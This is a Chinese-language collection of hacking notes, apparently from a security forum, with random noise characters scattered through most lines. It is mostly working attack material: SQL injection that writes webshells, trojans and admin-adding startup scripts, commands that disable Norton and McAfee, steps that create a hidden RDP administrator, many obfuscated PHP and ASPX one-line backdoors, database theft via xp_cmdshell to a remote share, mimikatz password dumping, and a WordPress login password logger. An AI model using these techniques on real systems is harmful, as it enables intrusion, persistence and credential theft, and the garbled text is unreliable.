( H: ?, z( ]# A$ r7 b/ v U: s7 s4 _' u! F' luse test;" z: w. ?. X8 K; \' c, J/ P3 f% t0 s
create table a (cmd text);( k+ Z! a. J4 x2 ]5 u% b
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
: W5 T6 n# G9 D! a8 oinsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );% P4 o% \- F B: X, P s4 P
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );# j ], f8 H4 L8 Y3 _5 `
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
% D& ^7 U5 d& B9 i4 Fdrop table a;$ x4 @1 M" n* j. M8 k
! D: ~( c: q% i2 q: ^4 j: O
英文版本:) M8 l: d" F5 ^+ x$ M# K
7 M& W& K2 {( g8 o$ H; l- n; A
use test;9 v4 w( v" Y& Y& c0 [, R3 ]1 r
create table a (cmd text);# q! L' ]6 F# j# A% t9 T. g
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
% L( W/ d& m+ O) |# d. E' uinsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );
( ?* n4 ?% Z9 D, D3 a$ `, ginsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );; Z; Y+ T- \% g
select * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";
4 G, p, x2 I `( C( Y8 m0 n# ~drop table a;1 q6 z/ B9 s5 K/ D4 w
1 @/ I2 |/ ]3 ^; z* t& Y2 T3 Hcreate table a (cmd BLOB);
( _+ j( Y# S7 c. d* `4 S) T4 Pinsert into a values (CONVERT(木马的16进制代码,CHAR));+ K( b5 ^& A5 c- u! L3 y
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'
+ ~" [3 D4 J, O d! t! b- Edrop table a;; N1 P( n9 n7 m9 {0 j7 b# p
0 ?7 Y; r0 e. `: e. S
记录一下怎么处理变态诺顿4 i- e3 m$ D" C3 E7 ?
查看诺顿服务的路径
8 x& @! v' X1 |# Nsc qc ccSetMgr
& X' p6 C( M" X1 r1 }然后设置权限拒绝访问。做绝一点。。
* U! Q. R. y0 Q8 R$ o* tcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system
, `" p0 J6 j( \1 Rcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"
8 b" D3 x, Z- w/ vcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators0 Q; U6 |4 p+ T( @. y& E |2 k
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone
; Q" u. Y3 a3 h4 ?" f- s/ c6 B, A. C7 F0 @3 y7 I" W5 g
然后再重启服务器
# P6 `, k8 y: [3 _6 ^iisreset /reboot2 B. F1 ]( H; h4 \
这样就搞定了。。不过完事后。记得恢复权限。。。。
( z6 I6 y/ C( p& w0 `cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F
+ W& J/ S3 g. y; ~! kcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F
- k9 H- c, T1 X3 Q* ]* x6 D: dcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F8 {: h3 C7 b) e& y
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F
" p+ k# L8 Z2 @) W* s- g- Z& eSELECT '<%eval(request(chr(35)))%>' into [fuck] in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin
H) U8 F$ L( R0 t
9 d( R/ ?9 g- E, ^- p1 Q4 ]EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')0 g0 c8 q0 |1 M! b5 A
+ p1 P& c% p! ]" ?: v: C; M$ @- j( Upostgresql注射的一些东西
1 V+ U+ x/ K S5 r如何获得webshell0 ]; @& e" u& a1 o& N
http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);
9 S% J; D8 J& G( e6 r! Z1 khttp://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$);
; k$ K+ L- i- [4 mhttp://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;% b" V2 H* B" z- F1 S/ A
如何读文件
/ k0 e/ e9 r# C3 ?$ Nhttp://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);
* Z p; P) _+ D ]. V: g5 t8 fhttp://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;
y# N& P4 A! U$ V7 S7 }http://127.0.0.1/postgresql.php?id=1;select * from myfile;
8 P4 Z! W2 t( p: P4 X$ o' e
, a" {, G. g- {" fz执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。# Y3 ]) B' p+ C& n: i _
当然,这些的postgresql的数据库版本必须大于8.X( [$ N: i, R$ T$ u/ _9 b
创建一个system的函数:; M! T& ^6 C: G/ a
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
{' u/ l& |( C$ }1 G4 c; | f
, h# @* w7 o% U创建一个输出表:
9 }# r0 v9 h, A7 W! b% n8 ^# LCREATE TABLE stdout(id serial, system_out text)7 H' P% m6 L$ w. ?/ G6 _
- p$ L3 V6 g) v; \
执行shell,输出到输出表内:
2 O) }- S. a- PSELECT system('uname -a > /tmp/test')
7 ~5 `7 m. |3 I- Q/ u$ N+ Z8 y& {$ m- p- {+ a# Y3 w/ Q
copy 输出的内容到表里面;* L2 s; A {: z6 e0 O* W
COPY stdout(system_out) FROM '/tmp/test'
5 Q3 \. g" p$ J- b0 c
; D2 I# x/ j/ S/ T! x4 s从输出表内读取执行后的回显,判断是否执行成功6 m; {! Y" j+ \' _1 B
! O% `4 k0 f* T: c6 j3 @- P; c
SELECT system_out FROM stdout& f/ F- u3 c, k( P* ~
下面是测试例子
. n/ V) s; t' J! l# p. Y& r, o/ W# f
, o& R8 R$ v1 |8 ~* o/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 8 U; H% y1 `3 @' _5 a0 B# T
) N! G9 y) {. P0 R1 G& q, a/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'1 N4 |8 g, g% w; v& o
STRICT --5 ~, w$ z* }2 i1 x: }' l
( Q2 h. |" T/ N1 _7 m2 Z
/store.php?id=1; SELECT system('uname -a > /tmp/test') --
* _1 t, Z9 U5 f# G) A3 A0 K K0 P* f( _
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
7 p" }+ t9 Q. Y; ?) N8 X+ Y. k" u9 T% c
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
# R g+ Z4 Y/ |& T! Nnet stop sharedaccess stop the default firewall
; @ F4 `9 @3 v3 Z* @5 r/ _netsh firewall show show/config default firewall7 M( W! F8 H- n9 ^
netsh firewall set notifications disable disable the notify when the program is disabled by the default firewall
( e% c. I) d3 L: { onetsh firewall add allowedprogram c:\1.exe Svchost add the program which is allowed by default firewall
]# {9 T e" A修改3389端口方法(修改后不易被扫出), J: w- f' T" D* T5 k; }0 H% B1 f
修改服务器端的端口设置,注册表有2个地方需要修改
- T. X- g3 j/ B/ M: Q6 e+ H+ S# b
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]
; A4 S, w# h; LPortNumber值,默认是3389,修改成所希望的端口,比如6000$ F9 u) O0 p; G/ U; H+ U
2 M' L* u) }/ N. M; b+ b6 J
第二个地方:8 w, E' U# A ~/ @8 J: }8 @
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp]
% Y% K4 `7 t. @# rPortNumber值,默认是3389,修改成所希望的端口,比如60000 @0 E' v5 U7 i; ?7 l& E
# R9 ^& W$ x0 b* r: n现在这样就可以了。重启系统就可以了3 ?/ T( [! t! B9 y7 E
6 y& E- g; P7 L, f1 Z6 N
查看3389远程登录的脚本6 c) h6 ?" J/ U: m5 _- x
保存为一个bat文件
, z v K, [5 Z0 C& a+ Odate /t >>D:\sec\TSlog\ts.log
. S$ p {* j7 h& S+ @: S) m# itime /t >>D:\sec\TSlog\ts.log
% M4 e9 [& A* d2 {) i- _netstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log& k7 `3 z2 O3 ~7 S0 F
start Explorer
. v" O& L7 R0 ~. } V- B, M) O" x2 O1 p) W7 ?+ W, j i6 ~1 z
mstsc的参数:
0 F$ I# f" T& Y
2 Y5 J8 k5 i, h) j8 B7 }远程桌面连接
* x) P/ a) q/ Y' `$ Q0 J V9 }) h& Y* }2 _
MSTSC [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]]
; y" `8 A5 ^& v [/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?
( L' `- q8 D! T# c0 e0 _; x$ G) W/ I/ U, i
<Connection File> -- 指定连接的 .rdp 文件的名称。/ s7 N( N$ A! F, }/ L% M0 A
" z- z# Z2 R, W# B# o$ X+ z# C/v:<server[:port]> -- 指定要连接到的终端服务器。 h: i) @' I4 H C3 c& z
, T) ~! H& L4 A/ A
/console -- 连接到服务器的控制台会话。
# M' i! S4 r; c7 S6 C, u: |3 n
) \3 h$ {: i# r, f$ m* \5 ?. \3 k& J# e/f -- 以全屏模式启动客户端。
6 c: H7 J. _+ Z# q7 f, j) ?* N2 @7 b- g/ W c
/w:<width> -- 指定远程桌面屏幕的宽度。
- ^4 I. G- ?9 G! W6 V& L; p8 Y2 X8 N5 m$ z
/h:<height> -- 指定远程桌面屏幕的高度。
" _) H8 |+ @! b w
9 k! z( T4 V1 F& |8 o, l1 I/edit -- 打开指定的 .rdp 文件来编辑。
+ s2 {! N1 K3 j
& p0 ?, k7 o! I6 r- L9 R/migrate -- 将客户端连接管理器创建的旧版7 e. _* D4 ~& K3 S5 f
连接文件迁移到新的 .rdp 连接文件。! e, F0 X: A1 ^. N- p/ g% o* F
7 ^, Y8 e+ L/ }& K8 z3 a) `! b5 A
' o, ^, J c9 @0 H( ]其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就- Z. ]3 q; u" ^# w) a7 I
mstsc /console /v:124.42.126.xxx 突破终端访问限制数量0 h L# j3 _2 H( X
( \" x4 I, e# @/ T% u4 m0 ~
命令行下开启3389& r. E* k- z2 f& a( C: T& _
net user asp.net aspnet /add
+ X7 h& ]2 a3 Hnet localgroup Administrators asp.net /add( }' F. m' G# c
net localgroup "Remote Desktop Users" asp.net /add
e5 D. ] v8 ~; w" Nattrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D
; E' t8 ?5 |4 g, T/ @. kecho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0
+ `3 L+ P4 x7 q5 N! [) N2 Xecho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1/ Z! m6 T" y; D/ T& b
echo Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f
' ~- T/ r7 R G5 ?+ K& c2 xsc config rasman start= auto
$ C$ \' B: h5 |7 q2 B Gsc config remoteaccess start= auto
4 y; Z$ f7 m/ \" g& rnet start rasman& H0 ^5 }+ k! {# S( F V
net start remoteaccess
; Z7 N* |! M2 {( P8 q7 QMedia
# u9 n, G# Z# h( q" d<form id="frmUpload" enctype="multipart/form-data"" b0 h5 Y5 u H6 q
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>1 \' L+ @& Y5 S7 B
<input type="file" name="NewFile" size="50"><br>; W! b. n$ \% J# P
<input id="btnUpload" type="submit" value="Upload">
5 Y4 |! s7 {+ P) l</form>
5 H+ Y- Q! c; e' r! g
- S6 ^& [: ^6 L0 L3 Tcontrol userpasswords2 查看用户的密码4 G: O8 V% \9 F7 t; [- G0 r
access数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径0 J3 L3 @! ]8 ?9 B$ O
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
L; @6 K6 I& N5 s4 S- g9 G( Q7 L( X' u) Y) y2 Y! b% [. Q1 q5 V1 r
141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:
: H1 _, z: N. c1 y5 ~$ z! ~+ B测试1:5 k( [; J. F- K L1 D* O5 Z9 \
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1: b9 q# c* h! P* g* V
& u% r6 f: N8 R E& `) x* _
测试2:
" H5 n9 o. i8 V: p8 o4 k
( J! E, `% M% o+ X" i) c; u2 xcreate table dirs(paths varchar(100),paths1 varchar(100), id int)
y) p3 S. h |. f; N$ V# I; @* Z/ _9 u3 r5 ]; S i
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--7 Y: ]8 ^5 F2 h5 E! A6 y
6 U8 v8 j. y9 L4 j# Z; F9 B3 hSELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
5 m& j/ \( Y9 C关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令
6 V2 E8 r y: L" Q, U2 {可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;
% O# @' _* \6 b0 U3 {net stop mcafeeframework; F; l8 [ I X: B
net stop mcshield$ w- S% u# N# a9 P& N) F* H8 S
net stop mcafeeengineservice) l2 v6 R4 \: K+ d1 s" E! [( L
net stop mctaskmanager! B- M2 Y* u, ]7 |, B
http://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D
7 b- r Y ~/ R9 x$ r0 U2 f# d- Z8 r0 }
VNCDump.zip (4.76 KB, 下载次数: 1) ' [* k& L* m% y6 s
密码在线破解http://tools88.com/safe/vnc.php
# v8 x# E: G1 h- v8 sVNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取
. J% n) F/ m/ P0 W$ G0 [: A- b) p1 U- h
exec master..xp_cmdshell 'net user'% g8 {5 [, h( x8 B) ?( ~$ A# J
mssql执行命令。 [7 j2 B! T& S I2 K" e* {
获取mssql的密码hash查询* y5 \9 d) w$ |' ]2 ~+ J
select name,password from master.dbo.sysxlogins5 X4 I/ |8 G7 ~
6 j7 ^& Q @ Hbackup log dbName with NO_LOG;
6 A/ M. E7 [: H; Qbackup log dbName with TRUNCATE_ONLY;5 \4 S7 Y0 x" z
DBCC SHRINKDATABASE(dbName);* h4 S. b% ^2 _: v: G
mssql数据库压缩& Z! A/ H# p, l B5 A, H
5 ~# S/ J9 U, S- X
Rar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK
. A% ?+ |4 n- R: L2 r将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。5 h: _5 \/ }, t3 M$ n$ Y
) Q7 n. ~+ p( a, e. l. `7 Fbackup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'
$ ^: u5 X$ Z4 R+ U: ]) d4 L$ ~6 u+ P5 P备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak
! C% q& U) l ^* p0 g0 O( }0 c9 s6 h7 [
Discuz!nt35渗透要点:
9 \& Z& Y" ?" }! ~) L v(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default
4 |6 o' c$ f% U7 @9 B6 ?# g(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
& _# J( S% a" Z& K, I) e4 k- K(3)保存。
7 Q' z% V" H% F' b1 A! N(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass6 ~! Q4 x0 c0 M* W! Q
d:\rar.exe a -r d:\1.rar d:\website\
! Q" y7 W/ Z- s9 p% M4 y4 T递归压缩website
7 g3 A! a7 f) }1 x" C& p+ y注意rar.exe的路径6 d6 P6 W+ n. x( N
! }4 n5 ^( m l
<?php
3 E8 ^- D9 @% ~3 L4 F7 {* e+ V1 E6 O6 t
$telok = "0${@eval($_POST[xxoo])}";, n# m, p1 l% m1 q- l% w% p
: w* C- s: |/ k
$username = "123456";
" l7 }: E& r8 r( B) f+ ^
- D# x D( U4 \1 H; I+ U$userpwd = "123456";4 T6 _) f# B& \1 S" B/ y
& j3 U1 [8 ^) M( g' q
$telhao = "123456";+ M z; G" m, T1 f; T
8 }0 u" l% V9 r$telinfo = "123456";$ u( I/ G. x8 Z5 y4 j" q. k
8 \2 }5 B# H' O3 h
?>
8 J1 |: _( x2 G: u- O0 r# q: ]php一句话未过滤插入一句话木马
, P/ M* D8 P2 H9 d( j0 [+ y7 f' @7 c2 ]& M9 f
站库分离脱裤技巧
* n6 v, e+ z3 Y6 h! y- C& h6 s) Rexec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'* J* w0 T1 G+ G6 X! c( g' U
exec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'+ S2 S, C- h1 @' g9 d$ l- D
条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。
# y1 e9 }, t4 }7 X5 f这儿利用的是马儿的专家模式(自己写代码)。
! c- n& G3 E2 M& q. ^ini_set('display_errors', 1);2 q* Y$ u# M$ H2 |. r9 u( s
set_time_limit(0);
( ]' ]! h. a& Lerror_reporting(E_ALL);
' |3 v$ [& ]( Y9 y, |$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());* g$ y7 k4 j. A6 L& a
mysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());9 y2 b. J. f( V$ I( p! O* s2 K
$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());6 n0 [$ [5 ]7 A* c1 y4 c# S) z
$i = 0;
2 ?! `: n1 `3 R6 o+ W8 @$tmp = '';% z: n+ K& o3 r+ M2 T4 k
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {3 v$ p0 g: b5 r. n
$i = $i+1;
3 r# R3 K: M! ]" ^/ e } $tmp .= implode("::", $row)."\n";
! E3 ^" y- c4 W& i" h$ T7 J if(!($i%500)){//500条写入一个文件
. ~7 C" H( J, Q0 G $filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';
" n' ^; a! Q; i; X- E' e file_put_contents($filename,$tmp);
# J* l+ Q, R. Z, b: T# I0 X $tmp = '';
1 e0 @6 w, z) [0 H* i w }
4 D. t5 G! y+ r4 l( F- C' Q8 L% _}# F0 [* p' D; L- p2 [: [
mysql_free_result($result);
& X2 K( U- X6 i$ u& q
* g# G* p/ J1 Y! }+ Y( K! o# v% O+ N( I/ Q
3 i, F( L5 Z- m" ~3 r2 u% v- l
//down完后delete7 C7 ]3 X& Z! f; H: a
5 R9 `+ o- i) y# z! e5 C
( \5 n, A5 b6 k$ A( K# G' j5 hini_set('display_errors', 1);" ~( J: h6 _( r: L% p
error_reporting(E_ALL);/ `/ \6 j+ s- I# B! ]# D% {
$i = 0;
/ w; \! s+ |" P; S" ^7 E4 f* Gwhile($i<32) {
' v# C Y9 T$ T+ \. r* e! t $i = $i+1;0 [/ {: a, h+ L ~3 B2 h
$filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';# Z- C+ ?# n+ F# B( V$ D
unlink($filename);
+ w g* [9 u- ^7 O# U# [}
7 ~# A y) \/ E; E+ _httprint 收集操作系统指纹9 ?' M5 b, f3 I! e* j; F
扫描192.168.1.100的所有端口
) H% F) g2 i C% G7 snmap –PN –sT –sV –p0-65535 192.168.1.1001 j, z w$ Y2 b! g+ W% C
host -t ns www.owasp.org 识别的名称服务器,获取dns信息
R9 T3 z! ~% ^; ~2 M3 {host -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输
( B" R# g4 m0 o4 y! F$ c. v% B4 iNetcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host2 [; j2 Z- ?" c$ }' {( q
" w S. Y( f. y0 x& ~Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册)2 _( c3 w+ k! g6 ]; D9 ^- m( F
& \& |& w) c0 N, U
MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)
+ k' J$ ^# y' E) p& V8 m# ^0 A8 T& f2 z4 v5 e& o
Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x
( R9 S2 L+ N8 p i# x2 a% r6 I# U$ W" q, v9 M% N+ k
DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)* W* J- C9 R: [7 g& H0 T' u$ O
{0 H8 H) S# b# `1 o L2 O
http://net-square.com/msnpawn/index.shtml (要求安装)1 t- R! ]$ ]' P2 ~4 B
3 K" b1 h* S) f2 J8 m$ C8 d! \( @0 L tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的)
1 P1 Q% p9 g0 ?- L4 ?% P; a8 B+ N, y: ^$ c" Y. \- n i
SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)
+ v& l, N, e* e7 ]% cset names gb2312+ [% s7 p5 S" W$ y' n/ i6 N( Y9 D
导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。$ T# g1 ^% b3 j9 n5 W( ~. w
8 Y' b; v. ~! E _+ J, Hmysql 密码修改
! x8 f) y E3 \* n& h$ a0 T$ i2 R EUPDATE mysql.user SET password=PASSWORD("newpass") whereuser="mysqladmin ” ) i' u4 ?! i* C' K! W
update user set password=PASSWORD('antian365.com') where user='root';$ G3 I- ] U3 O% b* d; |
flush privileges;
4 x# {2 M+ p) Z. \0 R- X# x d; }# m高级的PHP一句话木马后门% L, v- v+ s1 l! t" i7 g- s; o& D/ E
1 ~7 h; B7 e2 K1 b, B w& p入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀
" C9 k' G7 T- ]" E B% }# z- S2 r, }' h
1、, ~, W: e; d# H i" L8 E4 l
4 k! I& b9 F h/ y. ^' J$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";3 S4 s+ n0 K7 u% s2 g% [1 Y
( G* u% `7 s. p# x: F' j9 c ]
$hh("/[discuz]/e",$_POST['h'],"Access");
- s" \( y- `) _' `( e) l( t# ~& N4 m' h/ d* n* z" V
//菜刀一句话
# w# h" ]4 y% {# V0 |
8 h& l3 V _9 V4 u, r2、- o0 o4 L# c# e% z
! q# ^4 u0 i4 s2 f$filename=$_GET['xbid'];
; ^" @% q: `. b0 U- c9 d [+ c4 s7 |6 x& H
include ($filename);, {- N8 m- R( E. @$ a
3 S' [: E4 Y9 } m0 q9 q//危险的include函数,直接编译任何文件为php格式运行
8 d2 d$ n4 F4 X4 n, I7 W! Y/ I9 H3 D N$ a1 q* B6 z
3、" A6 {( ^( \0 E5 ^. x0 M4 p
" N' e2 s' j2 I+ Z( J$reg="c"."o"."p"."y";7 ^/ P: n a6 v R
- Q, ], k. s2 z7 v$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
$ M5 \. z1 z6 F& Y1 X- p: k9 y' g* s% H; m7 v$ D
//重命名任何文件% e$ p' c% R- @/ p' A
4 v9 L8 D% s& ` \/ f6 a; i) t4、/ v( p! N( q9 A
' u: Y/ B8 D- a3 z' ?7 m
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";1 _, ^5 r! U/ L+ a
/ g4 _" t1 Y4 Q8 ]8 s3 P* u$gzid("/[discuz]/e",$_POST['h'],"Access");
% c |2 N3 j0 y; @, S% S* N
; T0 M8 t4 h* l/ F) ?% y//菜刀一句话
8 K( D8 g. ^: }# p, y2 Q) e% t& ?' V7 g& @9 D5 C& n
5、include ($uid);
3 I$ ?4 ]+ h4 X* I l+ M& _5 g) a; k" D
//危险的include函数,直接编译任何文件为php格式运行,POST 6 J+ Z4 N( h/ E
/ u" k2 j* w2 d/ ^, U
+ s, D6 r1 D% N% Y//gif插一句话
& _& ?5 T6 u n ~1 L/ o
* J( ^6 q) b8 x3 J' Y6、典型一句话
- n1 b$ o3 v- ]4 y( C
8 s& ] m. M. r+ g6 }7 {程序后门代码
+ U* U* {1 S+ q" A<?php eval_r($_POST[sb])?>
) M% e2 O2 W! O/ V3 `. P* j程序代码9 U( w* Z" V V$ d$ m" G1 ^7 T0 F
<?php @eval_r($_POST[sb])?>
# _8 }4 _8 b3 E# H. o7 @. Q# |//容错代码
2 v1 t3 u4 {; i9 e8 L程序代码
+ I3 U7 e5 v% F$ H<?php assert($_POST[sb]);?>
- f- E- S' C; Q5 {1 d//使用lanker一句话客户端的专家模式执行相关的php语句. }$ n2 ?0 ~: c# F
程序代码6 H! i( r) g. Z @3 D4 Z
<?$_POST['sa']($_POST['sb']);?>
6 M4 j- Z0 J$ l9 K程序代码
+ G5 o! y% Q# u" t: O \* p<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>! j; g; m( T. f9 A @/ D
程序代码. s' z5 d! m" I5 \ |- l6 G' }
<?php6 c( K7 j8 a; h, x/ Z0 ~( V
@preg_replace("/[email]/e",$_POST['h'],"error");4 J- V& R' ]1 k2 n/ M
?>
. _. f' x9 g& [% Q) j1 `% U8 q/ y//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入: [- J/ w: I0 u5 v9 W9 _
程序代码; ?, r$ b! J. D1 G8 e3 e; }
<O>h=@eval_r($_POST[c]);</O>0 c3 B" P3 O2 A2 \, O
程序代码
% Z' Y1 {; B4 \% T. e; ^<script language="php">@eval_r($_POST[sb])</script>
( E# k$ O. i) G B' H+ j8 D! F//绕过<?限制的一句话% K5 D# c0 l; L& l2 t6 y# d" F
$ o' O' ]4 H. ihttp://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip$ O8 x' g- z$ r
详细用法:1 S1 d, n5 x9 i; e1 z
1、到tools目录。psexec \\127.0.0.1 cmd# j N- M! \* ^; D
2、执行mimikatz
' `! o+ Z# l; b3、执行 privilege::debug5 |5 v0 B& L2 M- H8 U5 A
4、执行 inject::process lsass.exe sekurlsa.dll9 g8 Q9 {" J$ Z
5、执行@getLogonPasswords
" F9 L( Y$ p& J- a+ O6、widget就是密码
0 L1 c& V1 m( y2 \7、exit退出,不要直接关闭否则系统会崩溃。
8 i A+ T6 A% e) a& c& f8 q+ \0 b6 r5 m9 ?
http://www.monyer.com/demo/monyerjs/ js解码网站比较全面
% m! F% o% F# P- n5 F0 t
( q: O" E. u$ h' E% O+ x. J9 W自动查找系统高危补丁
* B; r# i. k4 z5 V$ nsysteminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt f- L0 a5 r: k/ b) \
0 ]1 d- w3 v0 l3 J! L6 T, }突破安全狗的一句话aspx后门6 q2 P( C' \* ^% l- n
<%@ Page Language="C#" ValidateRequest="false" %>! L5 |& u' V8 T% a% H
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>, q7 o1 N; T# y5 Q+ G9 i' h
webshell下记录WordPress登陆密码* c# {% C B6 [, K1 k* l. d
webshell下记录Wordpress登陆密码方便进一步社工* U) ?. Z9 i; U' U% v% E/ _
在文件wp-login.php中539行处添加:5 ~$ P8 |# X% `& L5 X8 f$ D0 ~8 | b8 h
// log password
- O; d; c1 l F* g, _2 G# A$log_user=$_POST['log'];
1 T1 D$ g* e! {9 |! V: X$log_pwd=$_POST['pwd'];
" R4 f: D& T' S3 A2 q- B2 G) k$log_ip=$_SERVER["REMOTE_ADDR"];) W% q: v0 |: e" X
$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;0 h5 t" l$ \' { d5 p
$txt=$txt.”\r\n”;5 h8 k5 D( i3 ~
if($log_user&&$log_pwd&&$log_ip){7 ` O* ]% N% C
@fwrite(fopen(‘pwd.txt’,”a+”),$txt);
5 J5 R5 L3 ~5 k1 z! m1 q( _6 m}9 g7 D& T2 Z: a1 w5 V9 o- T
当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。
' k- [* W* i! |$ Z0 [就是搜索case ‘login’: Y& f' B2 Q# l, U8 R
在它下面直接插入即可,记录的密码生成在pwd.txt中,
" Q" L- C, }; q; j+ B7 v其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录2 n1 T( A; A' h1 P5 Q- L
